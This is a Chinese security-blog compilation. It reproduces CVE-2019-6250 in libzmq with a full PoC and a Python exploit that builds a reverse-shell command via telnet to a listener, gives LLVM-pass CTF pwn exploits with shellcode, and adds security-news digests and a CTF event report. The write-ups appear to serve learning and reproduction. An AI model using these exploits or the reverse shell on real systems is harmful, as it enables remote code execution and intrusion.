概述 ZMQ(Zero MessageQueue)是一种基于消息队列得多线程网络库，C++编写，可以使得Socket编程更加简单高效。 该编号为CVE-2019-6250的远程执行漏洞，主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTPv2.0协议中。 这一漏洞已经有很多师傅都已经分析并复现过了，但在环境搭建和最后的利用都所少有一些不完整，为了更好的学习，在学习师傅们的文章后，我进行了复现，并进行了些许补充，供师傅们学习，特别是刚开始复现CVE的师傅。 环境搭建 复现CVE最关键也是最繁琐的一步就是搭建漏洞环境，尽量保持与CVE报告的漏洞环境一致，如旧版本环境实在搞不到，就只能对新版本进行适当patch，把漏洞部分恢复以进行复现。 下面是针对该漏洞的环境搭建步骤 下载目标版本并安装 git clone https://github.com/zeromq/libzmq.git cd libzmq git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3 sudo apt-get install libtool pkg-config build-essential autoconf automake ./autogen.sh ./configure make sudo make install 下载cppzmq git clone https://github.com/zeromq/cppzmq cd cppzmq cmake . sudo make -j4 install 测试 cd demo 编辑main.cpp,添加printf("hello worldn"); mkdir build cd build cmake .. make ./demo demo可以正常执行即可 在我看到的几篇文章中，cppzmq好像都少了最后的make，导致编译并没有完全结束，影响后面的复现 漏洞复现 先看看已有的poc #include <netinet/in.h> #include <arpa/inet.h> #include <zmq.hpp> #include <string> #include <iostream> #include <unistd.h> #include <thread> #include <mutex> class Thread { public: Thread() : the_thread(&Thread::ThreadMain, this) { } ~Thread(){ } private: std::thread the_thread; void ThreadMain() { zmq::context_t context (1); zmq::socket_t socket (context, ZMQ_REP); socket.bind ("tcp://*:6666"); while (true) { zmq::message_t request; // Wait for next request from client try { socket.recv (&request); } catch ( ... ) { } } } }; static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr) { int s; struct sockaddr_in remote_addr = {}; if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { abort(); } remote_addr.sin_family = AF_INET; remote_addr.sin_port = htons(6666); inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr); if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1) { abort(); } const uint8_t greeting[] = { 0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */ 0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */ 0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */ 0x00, /* Unused */ }; send(s, greeting, sizeof(greeting), 0); const uint8_t v2msg[] = { 0x02, /* v2_decoder_t::eight_byte_size_ready */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */ }; send(s, v2msg, sizeof(v2msg), 0); /* Write UNTIL the location of zmq::msg_t::content_t */ size_t plsize = 8183; uint8_t* pl = (uint8_t*)calloc(1, plsize); send(s, pl, plsize, 0); free(pl); uint8_t content_t_replacement[] = { /* void* data */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* size_t size */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* msg_free_fn *ffn */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* void* hint */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; /* Assumes same endianness as target */ memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr)); memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr)); memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr)); /* Overwrite zmq::msg_t::content_t */ send(s, content_t_replacement, sizeof(content_t_replacement), 0); close(s); sleep(1); } char destbuffer[100]; char srcbuffer[100] = "ping google.com"; int main(void) { Thread* rt = new Thread(); sleep(1); callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy); callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system); return 0; } 复制到demo重新编译 执行./demo 复现成功 POC分析 poc主要包括下面四部分 greeting v2msg plsize content_t_replacement v2msg用于设置msg_size=0xffffffffffffffff，其中的0x2标识程序进入eight_byte_size_ready状态，调用zmq::v2_decoder_t::size_ready进行解析，zmq::v2_decoder_t::size_ready方法在做比较判断的时候，使用的read_pos_ +msg_size加法发生整型溢出，导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法，该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。 if (unlikely (!_zero_copy || ((unsigned char *) read_pos_ + msg_size_ > (allocator.data () + allocator.size ())))) { rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); } else { rc = _in_progress.init (const_cast<unsigned char *> (read_pos_), static_cast<size_t> (msg_size_), shared_message_memory_allocator::call_dec_ref, allocator.buffer (), allocator.provide_content ()); if (_in_progress.is_zcmsg ()) { allocator.advance_content (); allocator.inc_ref (); } } plsize作为padding，长度为0x1FF7，使得content_t_replacement可以覆盖_u.zclmsg.content指向的结构体。 ffn为函数指针，data和hint为两个参数的地址值，ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用，看下图调试结果，成功执行了call0xdeadbeaf 反弹Shell 由于还不清楚如何泄露地址，这里基于没有开PIE的程序编写exp。 通过分析POC，我们发现可以控制ffn，data和hint，即调用函数和两个参数，可以实现远程代码执行。 那么我的目标是反弹shell，也就是执行 system("mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1 | /bin/bash 1>backpipe1;") ，当然这只是其中一种方式。 那么，我的想法是，在二进制文件中找命令中的所有字符，通过执行strcpy进行拷贝，拼接成完整的命令，最后用调用system函数进行执行，实现反弹shell。 exp如下 #!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @File : exp.py @Time : 2023/06/24 08:59:34 @Author : 5ma11wh1t3 @Contact : 197489628@qq.com ''' import ctypes from pwn import * import base64 context.log_level=True context.arch='amd64' elf_path = './build/demo' elf = ELF(elf_path) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) inter = lambda : p.interactive() def debug():    gdb.attach(p, 'directory    /home/guo/Desktop/cve/cve-2019-6250/libzmq/src')    pause() def lg(s,addr = None):    if addr:   print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))    else:   print('033[1;32;40m[-] %-20s 033[0m'%(s)) if __name__ == '__main__':    re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1    | /bin/bash 1>backpipe1;"    with open(elf_path,'rb') as f:    binary = f.read()    ads = []    for char in re_shell:    char_address = 0x400000 + binary.index(char)    ads.append(char_address)    for i in range(len(ads)):    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8+i) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    sn(p1)    p.close()    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['system']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    # raw_input()    sn(p1)    p.close() 演示 攻击准备 本地起监听 server 攻击实施 获得shell

1、Rare Wolf组织针对俄罗斯发起网络钓鱼攻击 https://bi.zone/expertise/blog/rare-wolf-okhotitsya-za-privatnymi-dannymi-s-pomoshchyu-falshivykh-nakladnykh-1s-predpriyatie/ 研究人员发现了一个至少自2019年以来一直活跃的Rare Wolf组织针对俄罗斯发起钓鱼网络攻击。攻击者使用网络钓鱼电子邮件在目标设备上安装合法的跟踪工具Mipko Employee Monitor，窃取机密文档和密码，并获得对Telegram Messenger的访问权限。攻击者继续使用军民两用软件和合法工具来实施有针对性的攻击。这通常使它们 2、Storm-0216组织使用Danabot银行木马部署勒索软件 https://twitter.com/MsftSecIntel/status/1730383711437283757 俄罗斯勒索软件攻击者Storm-0216（又名 Twisted Spider，UNC2198）正在使用高级银行木马Danabot来部署Cactus勒索软件。Danabot银行木马通过恶意广告进行传播。当前的Danabot活动于11月首次观察到，推测使用的是信息窃取恶意软件的私人版本，而不是恶意软件即服务产品。Danabot收集发送给命令和控制的用户凭据和其他信息，然后通过RDP登录尝试进行横向移动，最终发送给Storm-0216组织。 3、美国卫生部敦促医院修补高危Citrix Bleed漏洞 https://www.aha.org/system/files/media/file/2023/12/202311301200_Citrix-Bleed-Vulnerability-Sector-Alert-TLPCLEAR.pdf 美国卫生与公众服务部本周警告医院修补Netscaler攻击中经常利用的关键Citrix Bleed漏洞。勒索软件组织已经在使用Citrix Bleed（追踪为 CVE-2023-4966）通过规避登录要求和多因素身份验证保护来破坏目标网络。安全团队卫生部门网络安全协调中心周四发布了部门警报，敦促所有美国医疗机构确保易受攻击的NetScaler ADC和NetS 4、未修补的 Loytec 楼宇自动化漏洞在发现两年后被披露 https://www.securityweek.com/unpatched-loytec-building-automation-flaws-disclosed-2-years-after-discovery/ 工业网络安全公司 TXOne Networks 披露了其研究人员两年多前在奥地利公司 Loytec 生产的楼宇自动化产品中发现的 10 个未修补漏洞的详细信息。 5、基因检测公司23andMe证实黑客窃取了数百万用户的数据 https://www.securityweek.com/23andme-says-hackers-saw-data-from-millions-of-users/ 23andMe 周二证实，黑客使用窃取的密码访问了该公司 690 万名会员的个人信息。 6、谷歌修复了 Android 中关键的零点击 RCE漏洞 https://securityaffairs.com/155232/mobile-2/google-android-critical-zero-click-rce.html Google 通过发布 2023 年 12 月 Android 安全更新修复了一个严重的零点击 RCE 漏洞 (CVE-2023-40088)。Google 2023 年 12 月 Android 安全更新解决了 85 个漏洞 7、GitHub 上 15,000 个 Go 模块仓库容易遭受 Repojacking 攻击 https://thehackernews.com/2023/12/15000-go-module-repositories-on-github.html 新研究发现 GitHub 上超过 15,000 个 Go 模块存储库容易受到名为 repojacking 的攻击。Repojacking是“存储库”和“劫持”的组合，是一种攻击技术，允许不良行为者利用帐户用户名更改和删除来创建具有相同名称和预先存在的用户名的存储库来上演开源软件供应链攻击。 8、会计软件巨头 Tipalti 调查勒索软件攻击事件 https://www.cybersecuritydive.com/news/tipalti-investigates-ransomware-supply-chain-attack/701516/ ALHV称获得了对多个 Tipalti 系统的持续访问权限，并窃取了超过 265GB 的数据，并声称有内部人员参与了这些攻击。 9、恶意广告攻击依靠 DanaBot 木马传播 CACTUS 勒索软件 https://securityaffairs.com/155184/cyber-crime/danabot-spread-cactus-ransomware.html 微软警告称，持续存在利用 DanaBot 恶意软件部署 CACTUS 勒索软件的恶意广告攻击。 10、俄罗斯黑客利用 Outlook 漏洞劫持 Exchange 账户 https://www.freebuf.com/news/385687.html 微软威胁情报团队近期发布警告称，疑似具有俄罗斯国家背景的网络攻击组织 APT28（又名 "Fancybear "或 "Strontium"）正在积极利用 CVE-2023-23397 Outlook 漏洞，劫持微软 Exchange 账户并窃取敏感信息。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

一、基本流程 ①找到runOnFunction函数时如何重写的，一般来说runOnFunction都会在函数表最下面,找PASS注册的名称，一般会在README文件中给出，若是没有给出，可通过对__cxa_atexit函数"交叉引用"来定位： ②通过逆向，找到函数名及参数，编写基本exp ③找到漏洞，写利用exp.c，其中的pwn的目标是opt文件，查看保护和找gadget都在opt中找 ④生成.ll文件 ⑤将.ll文件输入到LLVM中 二、命令 用下面的命令可以生成.ll文件准备输入到LLVM中： clang -emit-llvm -S exp.c -o exp.ll 最后用下面的命令将.ll文件输入到LLVM中，如果想要得到结果可以在后面添加>[文件名]来获取： opt -load ./LLVMFirst.so -hello ./exp.ll 三、例题 1.202Redhat simpleVM ①重写函数 ②逆向，编写基本exp 函数名为o0o0o0o0则继续执行sub_6AC0 循环遍历每一个基本块 这里也是一个循环遍历，其中指令码需要为55才能进入下一步操作，否则就会直接跳过这个指令去处理下一条指令，即函数o0o0o0o0中的代码都要是函数调用。 getCalledFunction获取函数本身，然后获取函数名赋值给s1 getNumOperands返回一条指令中的变量个数，包括函数名和参数，pop为2，即参数数量为1 这里可以看到pop函数的参数是1,2，分别对应两个寄存器，pop操作就是弹栈操作，并且栈是从低到高生长 push的参数也是一个，1或2，模拟压栈操作 store参数1个，1或2，将reg1存的地址指向的地方赋值为reg2中的值 load参数1个，1或2，将reg2赋值为reg1中的地址指向的值 add参数2个，第一个是1或2，第2个是加的数，使寄存器中的值加上某一个值 min参数2个，第一个是1或2，第2个是减的数，使寄存器中的值减去某一个值 得到基本exp void o0o0o0o0(); void pop(int reg){}; void push(int reg){}; void store(int reg){}; void load(int reg){}; void add(int reg,int num){}; void min(int reg,int num){}; void o0o0o0o0(){ }; ③找到漏洞，写攻击exp store(1),将reg1存的地址指向的地方赋值为reg2中的值，这里就有任意地址写。 load(1)，将reg2赋值为reg1中的地址指向的值，可以把libc写进去。 add和min可以对reg里的值进行加减，相当于任意修改 查看一下opt的保护 没有开pie 所以，攻击思路如下 reg初始值都为0，首先将reg1通过add函数改为free函数的got表，再通过load函数将reg1中的地址指向的值赋值给reg2，再通过add或者min函数将reg2中的地址修改为one_gadget的地址，再通过store函数将reg2的值赋值给reg1存的地址指向的地方即free的got表 add(1,free.got) load(1) add(2,ogg - free) store(1) gdb调试 gdb opt-8 set args -load ./VMPass.so -VMPass ./exp.ll b main b *0x4bb7e3 b *(0x7f11c1a00000+0x73EE) tele 0x7f11c1a00000+0x20E580 调试到这里，.so已经加载好了 下断点调试即可 调试可以看到成功修改free@got为one_gadget，但是三个都打不通，libc不同 2.CISCN2021 satool PASS注册名称为SAPass 函数名B4ckDo0r save函数，两个参数，char类型，申请一个0x20的堆块，把两个参数分别放入堆块中 stealkey函数，没有参数，把堆块中的第一个8字节赋值给byte_204100 fakekey函数，1个参数，与byte_204100相加并赋值给chunk的前8字节 run函数，没有参数，将chunk的前八字节作为函数指针调动 基本exp void save(char *a,char *b); void stealkey(); void fakekey(int a); void run(); void B4ckDo0r(){ } 这里可以看到，save会malloc一个0x20大小的chunk，调试发现，save一次后，tcache中没有符合要求的chunk了，再save一次，就会变成smallbins，这时候chunk中会有残留的libc指针，再通过stealkey把指针赋值给byte_204100，再用fakekey对指针进行偏移的加减，改为one_gadget，执行run函数，即可 完整exp void save(char *a,char *b); void stealkey(); void fakekey(int a); void run(); void B4ckDo0r(){ save("aaaa","bbbb"); save("","b"); stealkey(); fakekey(-0x1090f2); run(); } 3.CISCN2023 llvmHELLO PASS注册名称为Hello Add函数，一个参数，申请一个堆块 Del函数，一个参数，free一个堆块，没有uaf edit(idx,data_idx,data)，edit函数，3个参数，向第idx个chunk的第data_idx个四字节写入4字节 Alloc函数，没有参数，将0x10000设置为可读可写可执行 EditAlloc函数，2个参数，EditAlloc(idx,idx_alloc)，把第idx个chunk的前4个字节赋值给0x10000+idx_alloc处 基本exp void Add(int size); void Del(int idx); void Edit(int idx,int data_idx,int data); void Alloc(); void EditAlloc(int idx,int addr); void hello(){ } 在edit中，存在堆溢出，可利用edit修改tcache bin中chunk的fd，进行tcachebinattack，执行一次Alloc，申请0x10000开始的0x1000的空间，写入shellcode，由于没有开启PIE，用tcachebinattack改free的got表为0x10000，然后执行Del函数，执行shellcode拿到shell 最终exp void Add(int size); void Del(int idx); void Edit(int idx,int data_idx,int data); void Alloc(); void EditAlloc(int idx,int addr); void hello(){ Add(0xa0); Add(0x78); //0x8203 Edit(1,0,0xdeadbeef); // 0x8602 Add(0x78); Edit(2,0,0xdeadbeef); // 0x8602 Add(0x78); Edit(3,0,0xdeadbeef); // 0x8602 Del(1); Del(3); //0x83e4 Edit(2,32,0x78b108); // Alloc();//0x8690 Edit(0,0,0x56f63148); // 0x8602 EditAlloc(0,0); Edit(0,0,0x622fbf48); // 0x8602 EditAlloc(0,4); Edit(0,0,0x2f2f6e69); // 0x8602 EditAlloc(0,8); Edit(0,0,0x54576873); // 0x8602 EditAlloc(0,12); Edit(0,0,0x583b6a5f); // 0x8602 EditAlloc(0,16); Edit(0,0,0x00050f99); // 0x8602 EditAlloc(0,20); Add(0x78); Add(0x78); Edit(3,0,0x10000); Edit(3,1,0); Del(1); }

1、研究人员披露针对俄罗斯的Decoy Dog恶意软件 https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat/ 研究人员发现某电力公司受到Decoy Dog木马的攻击。至少自2022年9月起，Decoy Dog就一直被积极用于针对俄罗斯公司和政府组织的网络攻击。研究人员在受害者主机上发现的样本是木马的新修改，攻击者对其进行了修改，使其更难以检测和分析。研究人员将该样本归因到Hellhounds APT组织，该组织仅针对位于俄罗斯发起网络攻击。 2、AeroBlade组织针对美国航空航天工业发起网络攻击 https://blogs.blackberry.com/en/2023/11/aeroblade-on-the-hunt-targeting-us-aerospace-industry 研究人员发现一个新组织AeroBlade，其目标是美国的一家航空航天组织，其明显目标是进行商业和竞争性网络间谍活动。攻击者使用鱼叉式网络钓鱼作为交付机制：以电子邮件附件形式发送的武器化文档，包含嵌入式远程模板注入技术和恶意VBA宏代码，以交付下一阶段的最终有效负载执行。攻击者的网络基础设施和武器化在2022年9月左右投入运行。研究人员评估，攻击的进攻阶段发生在2023年7月。攻击者在此期间改进了其工具集，使 3、基因检测公司23andMe承认客户数据遭遇泄露 https://techcrunch.com/2023/12/01/23andme-says-hackers-accessed-significant-number-of-files-about-users-ancestry/ 基因检测公司23andMe周五宣布，在该公司最近的数据泄露事件中，黑客访问了大约14000个客户账户。该公司在周五向美国证券交易委员会提交的一份新文件中表示，根据对该事件的调查，该公司已确定黑客侵入了其0.1%的客户群。根据该公司最新的年度收益报告，23andMe在全球拥有超过1400万客户，这意味着0.1%约为14000名。但该公司还表示，通过访问这些帐户，黑客还能 4、新的 P2PInfect 僵尸网络 MIPS 变体瞄准路由器和物联网设备 https://thehackernews.com/2023/12/new-p2pinfect-botnet-mips-variant.html 网络安全研究人员发现了一种名为P2PInfect的新兴僵尸网络的新变种，它能够针对路由器和物联网设备。 5、LogoFAIL：UEFI 漏洞使设备遭受隐形恶意软件攻击 https://thehackernews.com/2023/12/logofail-uefi-vulnerabilities-expose.html 人们发现，来自各个独立固件/BIOS 供应商 (IBV)的统一可扩展固件接口 ( UEFI ) 代码很容易受到嵌入到固件中的图像解析库中的高影响力缺陷的潜在攻击。这些缺陷被 Binarly 统称为LogoFAIL，“可以被威胁行为者用来传递恶意负载并绕过安全启动、Intel Boot Guard 和其他设计安全技术。” 6、BlackCat 勒索软件攻击胡志明市电力公司 https://thecyberexpress.com/vietnam-electricity-data-breach/ BlackCat 勒索软件组织持续发起的疯狂攻击不仅限于越南电力公司，Roblox 和 Twitch 等社交媒体平台也可能成为下一个目标。 7、占星网站 WeMystic 暴露了超过 1300 万条用户记录 https://securityaffairs.com/155102/security/wemystic-website-data-leak.html 由于开放且无密码的 MongoDB 数据库，占星术和精神内容平台 WeMystic 暴露了其用户的敏感数据，包括姓名、电子邮件地址和出生日期。 8、国准《信息安全技术 政务计算机终端核心配置规范》征求意见稿发布 https://www.freebuf.com/news/385605.html 2023年12月4日，全国信安标委发布国家标准《信息安全技术 政务计算机终端核心配置规范》征求意见稿。起草单位包括神州网信技术有限公司、国家信息中心、阿里云计算有限公司、电子政务云应用国家实验室、中国软件评测中心、北京天融信网络安全技术有限公司等。 9、法国禁止政府要员使用外国聊天应用 https://www.freebuf.com/news/385573.html 据BleepingComputer消息，法国总理伊丽莎白·博尔内近期签署了一份备忘录，要求所有政府公务人员在 2023 年 12 月 8 日之前卸载 Signal、WhatsApp 和 Telegram 等外国通讯软件，使用本国开发的替代产品“Olvid”。 10、客户请谨慎使用，微软 MVP 示警 Copilot 商业化存 3 大风险 https://www.ithome.com/0/736/559.htm 微软 MVP Loryan Strant 近日发布专栏文章，建议企业客户不要太相信 Copilot 提供相关信息。这主要是因为三方面的原因，其一是当前部署力度还不够，其二是存在幻觉问题；第三就是可能泄露用户的个人信息。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、研究人员披露Lazarus组织已窃取价值30亿美元加密货币 https://go.recordedfuture.com/hubfs/reports/cta-2023-1130.pdf 至少自2017年以来，来自朝鲜的Lazarus组织越来越多地将加密货币行业作为主要创收机制，以规避对该国实施的制裁。据估计，该国的攻击者在过去六年中窃取了价值30亿美元的加密资产，仅2022年就被盗了约17亿美元。这些被盗资产大部分被用来直接资助隐士王国的大规模杀伤性武器（WMD）和弹道导弹计划。朝鲜黑客以擅长利用社交工程技巧来针对在线加密货币交易所的员工，然后以利润丰厚的工作承诺来引诱受害者分发允许远程访问公司网络的恶意软件，最终使他们耗尽所有可用资产并将它们转移到朝 2、Cactus勒索软件利用Qlik Sense漏洞进行网络攻击 https://www.arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-campaign/ CACTUS勒索软件活动利用最近披露的名为Qlik Sense的云分析和商业智能平台中的安全漏洞，在目标环境中获得初始访问。这些攻击很可能利用了过去三个月中披露的三个漏洞：CVE-2023-41265（CVSS评分：9.9）HTTP 请求隧道漏洞，允许远程攻击者提升其权限并发送由托管存储库应用程序的后端服务器执行的请求。CVE-2023-41266（CVSS评分：6.5）路径遍历漏洞，允许未经身份验证的远程 3、安卓恶意软件FjordPhantom利用虚拟化来逃避检测 https://promon.co/security-news/fjordphantom-android-malware/ 研究人员发现了一种名为FjordPhantom的新安卓恶意软件，它利用虚拟化在容器中运行恶意代码并逃避检测。该恶意软件目前通过电子邮件、短信和消息应用程序传播，目标是印度尼西亚、泰国、越南、新加坡和马来西亚的银行应用程序。受害者被诱骗下载看似合法的银行应用程序，但其中包含在虚拟环境中运行的恶意代码，以攻击真正的银行应用程序。FjordPhantom旨在窃取在线银行帐户凭据并通过执行设备欺诈来操纵交易。 4、ScamClub组织伪造安全扫描页面进行恶意重定向活动 https://www.malwarebytes.com/blog/threat-intelligence/2023/11/associated-press-espn-cbs-among-top-sites-serving-fake-virus-alerts ScamClub组织自2018年以来一直参与恶意广告活动。受影响的出版商名单包括美联社、ESPN 和 CBS，读者会自动重定向到与恶意McAfee附属机构相关的虚假安全警报。研究人员无法准确识别哪个实体投放了该广告，但已向Cloudflare报告了用于运行虚假扫描仪的网站，Cloudflare立即采取了行动并将其标记为网络钓鱼。 5、攻击者利用多层虚假发票活动部署LUMMA恶意软件 https://perception-point.io/blog/behind-the-attack-lumma-malware/ 研究人员披露攻击者利用多层虚假发票活动来分发LUMMA恶意软件。在此活动中，攻击者冒充金融服务公司并向目标发送包含虚假发票的电子邮件。此次攻击中使用的恶意软件是LUMMA，是一种用C语言编写的信息窃密恶意软件，并通过恶意软件即服务模型进行分发。该恶意软件故意选择父进程和特定进程ID增加了攻击的复杂性，旨在混淆恶意活动。 6、VMware发布Cloud Director身份验证绕过漏洞补丁 https://www.vmware.com/security/advisories/VMSA-2023-0026.html VMware修复了Cloud Director设备部署中的一个严重身份验证绕过漏洞，该漏洞自11月14日披露以来已两周多没有得到修补。Cloud Director是一个VMware平台，使管理员能够将分布在多个位置的数据中心作为虚拟数据中心进行管理。身份验证绕过安全漏洞(CVE-2023-34060)仅影响运行之前从旧版本升级的VCD Appliance 10.5的设备。不过，VMware表示，这不会影响新的VCD Appliance 10.5安装、Linux部署和其 7、数万台开放的Exchange服务器存在漏洞易遭受网络攻击 https://www.bleepingcomputer.com/news/security/over-20-000-vulnerable-microsoft-exchange-servers-exposed-to-attacks/ 欧洲、美国和亚洲的数万台Microsoft Exchange电子邮件服务器容易受到远程代码执行缺陷的影响。邮件系统运行的软件版本目前不受支持，并且不再接收任何类型的更新，容易受到多个安全问题的影响，其中一些问题的严重程度非常严重。目前可通过公共互联网访问的近20000台Microsoft Exchange服务器已达到生命周期结束阶段。 8、新的 AGENT RACCOON 恶意软件针对中东、非洲和美国 https://securityaffairs.com/155137/malware/agent-raccoon-malware.html Unit42 研究人员发现了一个名为 Agent Raccoon 的新后门，该后门正被用于针对中东、非洲和美国组织的攻击。该恶意软件被用于针对多个行业的攻击，包括教育、房地产、零售、非营利组织、电信公司和政府。 9、专家警告针对MACOS 的TURTLE 勒索软件 https://securityaffairs.com/155075/security/turtleransom-macos-ransomware.html 网络安全研究员 Patrick Wardle 发表了对新的 macOS 勒索软件 Turtle 的详细分析。 10、研究人员发现一种简单的攻击技术可以提取 ChatGPT 训练数据 https://www.darkreading.com/cyber-risk/researchers-simple-technique-extract-chatgpt-training-data ChatGPT 一遍又一遍地重复同一个单词是否会导致其重复大量训练数据，包括个人身份信息和从网络上抓取的其他数据？谷歌 DeepMind、康奈尔大学和其他四所大学的一组研究人员测试了广受欢迎的生成式人工智能聊天机器人在以特定方式提示时泄露数据的敏感性，答案是肯定的。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

11月25日至26日，哈尔滨工业大学网络安全国际邀请赛圆满落幕。来自国内外多个高校知名CTF战队云集，经过24小时的线上比拼后，最终哈尔滨工业大学Lilac战队、东北大学N3X战队、吉林大学SPIRIT战队分别斩获冠军、亚军和季军。来自嘉兴学院、哈尔滨理工大学、中山大学、瑞士苏黎世联邦理工大学、东南大学、东北林业大学、大连理工大学、俄罗斯远东联邦大学的8支战队荣获优胜奖。选手们展示出了卓越的网络安全技能和快速应变能力，呈现了一场精彩绝伦的网络安全大战。 哈尔滨工业大学网络安全国际邀请赛HITCTF2023由哈工大计算学部网络空间安全学院、安天科技集团股份有限公司联合主办，黑龙江高校网络安全技术社团联盟协办，湖南蚁景科技有限公司全程提供竞赛平台技术支持。 张宏莉院长 开幕式致辞 袁永峰副主任 开幕式致辞 开幕式上，哈尔滨工业大学计算学部网络空间安全学院张宏莉院长、计算学部袁永峰副主任等校方领导分别致欢迎词。 HITCTF2023的赛题紧密结合近年来出现的各类安全事件，以分析防御网络安全威胁及威胁猎杀为主要场景，选手们全力以赴，展现了卓越的专业技能创新思维和应对压力的能力。竞赛期间良好的氛围及热络的线上交流，增进了中外参赛队员之间的了解和友谊,比赛结束后，队员纷纷表示收获满满，期待未来能有更多这样既充满激情又富有知识的网络安全赛事。 闭幕式及颁奖仪式上，计算学部网络空间安全学院张宏莉院长做了精彩的总结讲话，冠军获得者哈工大Lilac战队队长刘之鸿同学做了精彩细致的解题分享。 湖南蚁景科技有限公司作为支撑单位，为比赛过程提供了专业可靠的技术支持。其自主研发的竞赛平台，以高效稳定的表现，成功保障了赛前环境部署和测试、赛题测试验证、比赛过程运维等各环节的顺利进行，让参赛者们在比赛中能尽情施展自己的技能。此外，蚁景科技网络安全高级工程师刘俊明担任本次比赛的裁判长，他秉承公平、公正、公开的原则，全心全意履行裁判的职责，确保了比赛的公平公正。 湖南蚁景科技有限公司凭借多年深耕网络安全行业的经验，为CTF赛事提供专业可靠的平台支撑服务。未来，期待能与更多的业内单位、高校开展合作。